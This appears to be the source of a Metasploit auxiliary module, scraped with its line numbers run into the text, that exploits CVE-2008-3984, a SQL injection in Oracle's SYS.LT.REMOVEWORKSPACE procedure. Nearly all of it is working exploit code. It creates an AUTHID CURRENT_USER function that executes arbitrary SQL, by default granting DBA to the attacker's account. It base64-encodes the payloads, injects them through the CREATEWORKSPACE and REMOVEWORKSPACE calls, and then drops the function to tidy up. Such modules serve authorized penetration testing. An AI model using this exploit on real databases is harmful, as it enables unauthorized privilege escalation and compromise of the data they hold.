Path: blob/master/modules/auxiliary/sqli/oracle/lt_removeworkspace.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::ORACLE78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Oracle DB SQL Injection via SYS.LT.REMOVEWORKSPACE',13'Description' => %q{14This module exploits a sql injection flaw in the REMOVEWORKSPACE15procedure of the PL/SQL package SYS.LT. Any user with execute16privilege on the vulnerable package can exploit this vulnerability.17},18'Author' => [ 'Sh2kerr <research[ad]dsecrg.com>' ],19'License' => MSF_LICENSE,20'References' => [21[ 'CVE', '2008-3984' ],22[ 'OSVDB', '49326']23],24'DisclosureDate' => '2008-10-13',25'Notes' => {26'Stability' => [CRASH_SAFE],27'SideEffects' => [IOC_IN_LOGS],28'Reliability' => []29}30)31)3233register_options(34[35OptString.new('SQL', [ false, 'SQL to execte.', "GRANT DBA to #{datastore['DBUSER']}"]),36]37)38end3940def run41return if !check_dependencies4243name = Rex::Text.rand_text_alpha_upper(1..10)44rand1 = Rex::Text.rand_text_alpha_upper(1..10)45rand2 = Rex::Text.rand_text_alpha_upper(1..10)46rand3 = Rex::Text.rand_text_alpha_upper(1..10)47cruft = Rex::Text.rand_text_alpha_upper(1)4849function = "50CREATE OR REPLACE FUNCTION #{cruft}51RETURN VARCHAR2 AUTHID CURRENT_USER52AS53PRAGMA AUTONOMOUS_TRANSACTION;54BEGIN55EXECUTE IMMEDIATE '#{datastore['SQL']}';56COMMIT;57RETURN '#{cruft}';58END;"5960package1 = %|61BEGIN62SYS.LT.CREATEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}');63END;64|6566package2 = %|67BEGIN68SYS.LT.REMOVEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}');69END;70|7172uno = Rex::Text.encode_base64(function)73dos = Rex::Text.encode_base64(package1)74tres = Rex::Text.encode_base64(package2)7576sql = %|77DECLARE78#{rand1} VARCHAR2(32767);79#{rand2} VARCHAR2(32767);80#{rand3} VARCHAR2(32767);81BEGIN82#{rand1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{uno}')));83EXECUTE IMMEDIATE #{rand1};84#{rand2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{dos}')));85EXECUTE IMMEDIATE #{rand2};86#{rand3} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{tres}')));87EXECUTE IMMEDIATE #{rand3};88END;89|9091clean = "DROP FUNCTION #{cruft}"9293# Try first, if it's good.. keep doing the dance.94print_status('Attempting sql injection on SYS.LT.REMOVEWORKSPACE...')95begin96prepare_exec(sql)97rescue StandardError98return99end100101print_status("Removing function '#{cruft}'...")102prepare_exec(clean)103end104end105106107